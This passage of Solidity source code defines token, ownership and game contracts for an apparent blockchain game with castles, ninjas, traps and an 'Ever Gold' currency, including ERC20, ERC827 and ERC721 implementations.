emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract AccessByGame is Pausable, Claimable {
mapping(address => bool) internal contractAccess;
modifier onlyAccessByGame {
require(!paused && (msg.sender == owner || contractAccess[msg.sender] == true));
_;
}
function grantAccess(address _address)
onlyOwner
public
{
contractAccess[_address] = true;
}
function revokeAccess(address _address)
onlyOwner
public
{
contractAccess[_address] = false;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC827 is ERC20 {
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827Caller {
function makeCall(address _target, bytes _data) external payable returns (bool) {
return _target.call.value(msg.value)(_data);
}
}
contract ERC827Token is ERC827, StandardToken {
ERC827Caller internal caller_;
constructor() public {
caller_ = new ERC827Caller();
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.approve(_spender, _value);
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
returns (bool)
{
require(_to != address(this));
super.transfer(_to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public payable returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(caller_.makeCall.value(msg.value)(_to, _data));
return true;
}
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
returns (bool)
{
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(caller_.makeCall.value(msg.value)(_spender, _data));
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract EverGold is ERC827Token, MintableToken, AccessByGame {
string public constant name = "Ever Gold";
string public constant symbol = "EG";
uint8 public constant decimals = 0;
function mint(
address _to,
uint256 _amount
)
onlyAccessByGame
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function transfer(address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.approveAndCall(_spender, _value, _data);
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.transferAndCall(_to, _value, _data);
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.transferFromAndCall(_from, _to, _value, _data);
}
function increaseApprovalAndCall(
address _spender,
uint _addedValue,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.increaseApprovalAndCall(_spender, _addedValue, _data);
}
function decreaseApprovalAndCall(
address _spender,
uint _subtractedValue,
bytes _data
)
public
payable
whenNotPaused
returns (bool)
{
return super.decreaseApprovalAndCall(_spender, _subtractedValue, _data);
}
}
library StringLib {
function generateName(bytes16 _s, uint256 _len, uint256 _n)
public
pure
returns (bytes16 ret)
{
uint256 v = _n;
bytes16 num = 0;
while (v > 0) {
num = bytes16(uint(num) / (2 ** 8));
num |= bytes16(((v % 10) + 48) * 2 ** (8 * 15));
v /= 10;
}
ret = _s | bytes16(uint(num) / (2 ** (8 * _len)));
return ret;
}
}
contract ERC721Basic {
event Transfer(
address indexed _from,
address indexed _to,
uint256 _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract CastleToken is ERC721Token, AccessByGame {
string constant NAME = "Crypto Ninja Game Castle";
string constant SYMBOL = "CNC";
uint256 constant MAX_WIDTH = 10;
uint8 constant LOG_SET = 0;
uint8 constant LOG_RESET = 1;
uint8 constant LOG_WIN = 2;
uint8 constant LOG_LOSS = 3;
struct Castle {
bytes16 name;
uint16 level;
uint32 exp;
uint8 width;
uint8 depth;
uint32 readyTime;
uint16 tryCount;
uint16 winCount;
uint16 lossCount;
uint8 levelPoint;
uint16 reward;
}
mapping (uint256 => bytes) internal traps;
mapping (uint256 => bytes32[]) internal logs;
EverGold internal goldToken;
uint8 public initWidth = 5;
uint8 public initDepth = 8;
uint256 public itemsPerPage = 10;
uint8 internal expOnSuccess = 3;
uint8 internal expOnFault = 1;
uint8 internal leveupExp = 10;
uint256 internal cooldownTime = 5 minutes;
Castle[] internal castles;
uint16 public price = 1000;
event NewCastle(uint256 castleid, uint256 width, uint256 depth);
event SetTraps(uint256 castleid);
event ResetTraps(uint256 castleid);
event UseTrap(uint256 castleid, uint256 path, uint256 trapIndex, uint256 power);
event AddLog(uint8 id, uint32 datetime, uint256 castleid, uint256 ninjaid, uint8 x, uint8 y, bool win);
constructor()
public
ERC721Token(NAME, SYMBOL)
{
castles.push(Castle({
name: "DUMMY", level: 0, exp: 0,
width: 0, depth: 0,
readyTime: 0,
tryCount: 0, winCount: 0, lossCount: 0,
levelPoint: 0,
reward: 0}));
}
function mint(address _beneficiary)
public
whenNotPaused
onlyAccessByGame
returns (bool)
{
require(_beneficiary != address(0));
return _create(_beneficiary, initWidth, initDepth);
}
function setTraps(
uint256 _castleid,
uint16 _reward,
bytes _traps)
public
whenNotPaused()
onlyAccessByGame
returns (bool)
{
require((_castleid > 0) && (_castleid < castles.length));
require(_reward > 0);
Castle storage castle = castles[_castleid];
castle.reward = _reward;
traps[_castleid] = _traps;
logs[_castleid].push(_generateLog(uint32(now), LOG_SET, 0, 0, 0, 0));
emit SetTraps(_castleid);
return true;
}
function resetTraps(uint256 _castleid)
public
onlyAccessByGame
returns (bool)
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
for (uint256 i = 0; i < castle.width * castle.depth; i++) {
traps[_castleid][i] = byte(0);
}
castle.reward = 0;
logs[_castleid].push(_generateLog(uint32(now), LOG_RESET, 0, 0, 0, 0));
emit ResetTraps(_castleid);
return true;
}
function win(
uint256 _castleid, uint256 _ninjaid, uint256 _path, bytes _steps, uint256 _count)
public
onlyAccessByGame
returns (bool)
{
require((_castleid > 0) && (_castleid < castles.length));
uint8 width = getWidth(_castleid);
for (uint256 i = 0; i < _count; i++) {
traps[_castleid][uint256(_steps[i])] = byte(0);
}
Castle storage castle = castles[_castleid];
castle.winCount++;
castle.exp += expOnSuccess;
castle.levelPoint += expOnSuccess;
_levelUp(castle);
logs[_castleid].push(
_generateLog(
uint32(now), LOG_WIN, uint32(_ninjaid),
uint8(_path % width), uint8(_path / width), 1
)
);
_triggerCooldown(_castleid);
return true;
}
function lost(uint256 _castleid, uint256 _ninjaid)
public
onlyAccessByGame
returns (bool)
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
castle.reward = 0;
castle.lossCount++;
castle.exp += expOnFault;
castle.levelPoint += expOnFault;
_levelUp(castle);
logs[_castleid].push(_generateLog(uint32(now), LOG_LOSS, uint32(_ninjaid), 0, 0, 0));
resetTraps(_castleid);
_triggerCooldown(_castleid);
return true;
}
function setName(uint256 _castleid, bytes16 _newName)
external
onlyOwnerOf(_castleid)
{
castles[_castleid].name = _newName;
}
function setGoldContract(address _goldTokenAddress)
public
onlyOwner
{
require(_goldTokenAddress != address(0));
goldToken = EverGold(_goldTokenAddress);
}
function setFee(uint16 _price)
external
onlyOwner
{
price = _price;
}
function setItemPerPage(uint16 _amount)
external
onlyOwner
{
itemsPerPage = _amount;
}
function setMaxCoordinate(uint256 _cooldownTime)
public
onlyOwner
{
cooldownTime = _cooldownTime;
}
function _create(address _beneficiary, uint8 _width, uint8 _depth)
internal
onlyAccessByGame
returns (bool)
{
require(_beneficiary != address(0));
require((_width > 0) && (_depth > 0));
uint256 tokenid = castles.length;
bytes16 name = StringLib.generateName("CASTLE#", 7, tokenid);
uint256 id = castles.push(Castle({
name: name, level: 1, exp: 0,
width: _width, depth: _depth,
readyTime: uint32(now + cooldownTime),
tryCount: 0, winCount: 0, lossCount: 0,
levelPoint: 0,
reward: 0})) - 1;
traps[id] = new bytes(_width * _depth);
_mint(_beneficiary, id);
emit NewCastle(id, _width, _depth);
return true;
}
function _levelUp(Castle storage _castle)
internal
onlyAccessByGame
{
if (_castle.levelPoint >= leveupExp) {
_castle.levelPoint -= leveupExp;
_castle.level++;
}
}
function _triggerCooldown(uint256 _castleid)
internal
onlyAccessByGame
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
castle.readyTime = uint32(now + cooldownTime);
}
function getAll()
external
view
returns (uint256[] result)
{
return allTokens;
}
function getOpen(uint256 _startIndex)
external
view
returns (uint256[] result)
{
uint256 n = 0;
uint256 i = 0;
for (i = _startIndex; i < castles.length; i++) {
Castle storage castle = castles[i];
if ((castle.reward > 0) &&
(ownerOf(i) != msg.sender)) {
n++;
if (n >= _startIndex) {
break;
}
}
}
uint256[] memory castleids = new uint256[](itemsPerPage + 1);
n = 0;
while (i < castles.length) {
castle = castles[i];
if ((castle.reward > 0) &&
(ownerOf(i) != msg.sender)) {
castleids[n++] = i;
if (n > itemsPerPage) {
break;
}
}
i++;
}
return castleids;
}
function getByOwner(address _owner)
external
view
returns (uint256[] result)
{
return ownedTokens[_owner];
}
function getInfo(uint256 _castleid)
external
view
returns (bytes16, uint16, uint32,
uint8, uint8, uint16, uint16,
uint16)
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
return (
castle.name,
castle.level,
castle.exp,
castle.width,
castle.depth,
castle.winCount,
castle.lossCount,
castle.reward);
}
function getLevel(uint256 _castleid)
external
view
returns (uint16)
{
Castle storage castle = castles[_castleid];
return castle.level;
}
function getLogs(uint256 _castleid)
external
view
returns (bytes32[])
{
require((_castleid > 0) && (_castleid < castles.length));
return logs[_castleid];
}
function getTrapInfo(uint256 _castleid)
external
view
returns (bytes)
{
require((ownerOf(_castleid) == msg.sender) || (contractAccess[msg.sender] == true));
return traps[_castleid];
}
function isReady(uint256 _castleid)
public
view
returns (bool)
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
return (castle.readyTime <= now);
}
function getReward(uint256 _castleid)
public
view
returns (uint16)
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
return castle.reward;
}
function getWidth(uint256 _castleid)
public
view
returns (uint8)
{
require((_castleid > 0) && (_castleid < castles.length));
Castle storage castle = castles[_castleid];
return castle.width;
}
function getTrapid(uint256 _castleid, uint8 _path)
public
onlyAccessByGame
view
returns (uint8)
{
return uint8(traps[_castleid][_path]);
}
function getPrice()
public
view
returns (uint256)
{
return price;
}
function _generateLog(
uint32 _datetime,
uint8 _id,
uint32 _ninjaid,
uint8 _x,
uint8 _y,
uint8 _win)
internal
pure
returns (bytes32)
{
return
bytes32(
(uint256(_datetime) * (2 ** (8 * 28))) |
(uint256(_id) * (2 ** (8 * 24))) |
(uint256(_ninjaid) * (2 ** (8 * 20))) |
(uint256(_x) * (2 ** (8 * 16))) |
(uint256(_y) * (2 ** (8 * 12))) |
(uint256(_win) * (2 ** (8 * 8))));
}
}
contract ItemToken is AccessByGame {
struct Item {
bytes16 name;
uint16 price;
uint16 power;
bool enabled;
}
EverGold internal goldToken;
Item[] private items;
uint8 public itemKindCount = 0;
mapping (address => mapping (uint256 => uint256)) private ownedItems;
event NewItem(bytes32 name, uint16 price, uint16 power);
event UseItem(uint256 itemid, uint256 amount);
constructor()
public
{
addItem("None", 0, 0, false);
addItem("Arrow", 10, 10, true);
addItem("Tiger", 30, 20, true);
addItem("Spear", 50, 30, true);
addItem("Wood", 50, 20, true);
addItem("Fire", 50, 20, true);
addItem("Earth", 50, 20, true);
addItem("Metal", 50, 20, true);
addItem("Water", 50, 20, true);
}
function setGoldContract(address _goldTokenAddress)
public
onlyOwner
{
require(_goldTokenAddress != address(0));
goldToken = EverGold(_goldTokenAddress);
}
function buy(address _to, uint256 _itemid, uint256 _amount)
public
onlyAccessByGame
whenNotPaused
returns (bool)
{
require(_amount > 0);
require(_itemid > 0 && _itemid < itemKindCount);
ownedItems[_to][_itemid] += _amount;
return true;
}
function useItem(address _owner, uint256 _itemid, uint256 _amount)
public
onlyAccessByGame
whenNotPaused
returns (bool)
{
require(_amount > 0);
require((_itemid > 0) && (_itemid < itemKindCount));
require(_amount <= ownedItems[_owner][_itemid]);
ownedItems[_owner][_itemid] -= _amount;
emit UseItem(_itemid, _amount);
return true;
}
function addItem(bytes16 _name, uint16 _price, uint16 _power, bool _enabled)
public
onlyOwner()
returns (bool)
{
require(_name != 0x0);
items.push(Item({
name:_name,
price: _price,
power: _power,
enabled: _enabled
}));
itemKindCount++;
emit NewItem(_name, _price, _power);
return true;
}
function setItemAvailable(uint256 _itemid, bool _enabled)
public
onlyOwner()
{
require(_itemid > 0 && _itemid < itemKindCount);
items[_itemid].enabled = _enabled;
}
function getItemCounts()
public
view
returns (uint256[])
{
uint256[] memory itemCounts = new uint256[](itemKindCount);
for (uint256 i = 0; i < itemKindCount; i++) {
itemCounts[i] = ownedItems[msg.sender][i];
}
return itemCounts;
}
function getItemCount(uint256 _itemid)
public
view
returns (uint256)
{
require(_itemid > 0 && _itemid < itemKindCount);
return ownedItems[msg.sender][_itemid];
}
function getItemKindCount()
public
view
returns (uint256)
{
return itemKindCount;
}
function getItem(uint256 _itemid)
public
view
returns (bytes16 name, uint16 price, uint16 power, bool enabled)
{
require(_itemid < itemKindCount);
return (items[_itemid].name, items[_itemid].price, items[_itemid].power, items[_itemid].enabled);
}
function getPower(uint256 _itemid)
public
view
returns (uint16 power)
{
require(_itemid < itemKindCount);
return items[_itemid].power;
}
function getPrice(uint256 _itemid)
public
view
returns (uint16)
{
require(_itemid < itemKindCount);
return items[_itemid].price;
}
}
contract NinjaToken is ERC721Token, AccessByGame {
string public constant NAME = "Crypto Ninja Game Ninja";
string public constant SYMBOL = "CNN";
event NewNinja(uint256 ninjaid, bytes16 name, bytes32 pattern);
struct Ninja {
bytes32 pattern;
bytes16 name;
uint16 level;
uint32 exp;
uint8 dna1;
uint8 dna2;
uint32 readyTime;
uint16 winCount;
uint8 levelPoint;
uint16 lossCount;
uint16 reward;
uint256 lastAttackedCastleid;
}
mapping (uint256 => bytes) private paths;
mapping (uint256 => bytes) private steps;
EverGold internal goldToken;
uint8 internal expOnSuccess = 3;
uint8 internal expOnFault = 1;
uint8 internal leveupExp = 10;
uint256 internal cooldownTime = 5 minutes;
uint256 internal maxCoordinate = 12;
Ninja[] internal ninjas;
uint256 private randNonce = 0;
uint8 public kindCount = 2;
uint32[] public COLORS = [
0xD7003A00,
0xF3980000,
0x00552E00,
0x19448E00,
0x543F3200,
0xE7609E00,
0xFFEC4700,
0x68BE8D00,
0x0095D900,
0xE9DFE500,
0xEE836F00,
0xF2F2B000,
0xAACF5300,
0x0A3AF00,
0xF8FBF800,
0xF4B3C200,
0x928C3600,
0xA59ACA00,
0xABCED800,
0x30283300,
0xFDEFF200,
0xDDBB9900,
0x74539900,
0xAA4C8F00
];
uint256 public price = 1000;
constructor()
public
ERC721Token(NAME, SYMBOL)
{
ninjas.push(Ninja({
pattern: 0, name: "DUMMY", level: 0, exp: 0,
dna1: 0, dna2: 0,
readyTime: 0,
winCount: 0, lossCount: 0,
levelPoint:0, reward: 0,
lastAttackedCastleid: 0 }));
}
function mint(address _beneficiary)
public
whenNotPaused
onlyAccessByGame
returns (bool)
{
require(_beneficiary != address(0));
return _create(_beneficiary, 0, 0);
}
function burn(uint256 _tokenId) external onlyOwnerOf(_tokenId) {
super._burn(msg.sender, _tokenId);
}
function setPath(
uint256 _ninjaid,
uint256 _castleid,
bytes _path,
bytes _steps)
public
onlyAccessByGame
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.lastAttackedCastleid = _castleid;
paths[_ninjaid] = _path;
steps[_ninjaid] = _steps;
}
function win(uint256 _ninjaid)
public
onlyAccessByGame
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.winCount++;
ninja.exp += expOnSuccess;
ninja.levelPoint += expOnSuccess;
_levelUp(ninja);
_triggerCooldown(_ninjaid);
return true;
}
function lost(uint256 _ninjaid)
public
onlyAccessByGame
returns (bool)
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.lossCount++;
ninja.exp += expOnFault;
ninja.levelPoint += expOnFault;
_levelUp(ninja);
_triggerCooldown(_ninjaid);
return true;
}
function setName(uint256 _ninjaid, bytes16 _newName)
external
onlyOwnerOf(_ninjaid)
{
ninjas[_ninjaid].name = _newName;
}
function setGoldContract(address _goldTokenAddress)
public
onlyOwner
{
require(_goldTokenAddress != address(0));
goldToken = EverGold(_goldTokenAddress);
}
function setNinjaKindCount(uint8 _kindCount)
public
onlyOwner
{
kindCount = _kindCount;
}
function setPrice(uint16 _price)
public
onlyOwner
{
price = _price;
}
function setMaxCoordinate(uint16 _maxCoordinate)
public
onlyOwner
{
maxCoordinate = _maxCoordinate;
}
function setMaxCoordinate(uint256 _cooldownTime)
public
onlyOwner
{
cooldownTime = _cooldownTime;
}
function _create(address _beneficiary, uint8 _dna1, uint8 _dna2)
private
returns (bool)
{
bytes32 pattern = _generateInitialPattern();
uint256 tokenid = ninjas.length;
bytes16 name = StringLib.generateName("NINJA#", 6, tokenid);
uint256 id = ninjas.push(Ninja({
pattern: pattern, name: name, level: 1, exp: 0,
dna1: _dna1, dna2: _dna2,
readyTime: uint32(now + cooldownTime),
winCount: 0, lossCount: 0,
levelPoint:0, reward: 0,
lastAttackedCastleid: 0})) - 1;
super._mint(_beneficiary, id);
emit NewNinja(id, name, pattern);
return true;
}
function _triggerCooldown(uint256 _ninjaid)
internal
onlyAccessByGame
{
Ninja storage ninja = ninjas[_ninjaid];
ninja.readyTime = uint32(now + cooldownTime);
}
function _levelUp(Ninja storage _ninja)
internal
onlyAccessByGame
{
if (_ninja.levelPoint >= leveupExp) {
_ninja.levelPoint -= leveupExp;
_ninja.level++;
if (_ninja.level == 2) {
_ninja.dna1 = uint8(_getRandom(6));
} else if (_ninja.level == 5) {
_ninja.dna2 = uint8(_getRandom(6));
}
}
}
function getByOwner(address _owner)
external
view
returns(uint256[] result)
{
return ownedTokens[_owner];
}
function getInfo(uint256 _ninjaid)
external
view
returns (bytes16, uint32, uint16, uint16, bytes32, uint8, uint8)
{
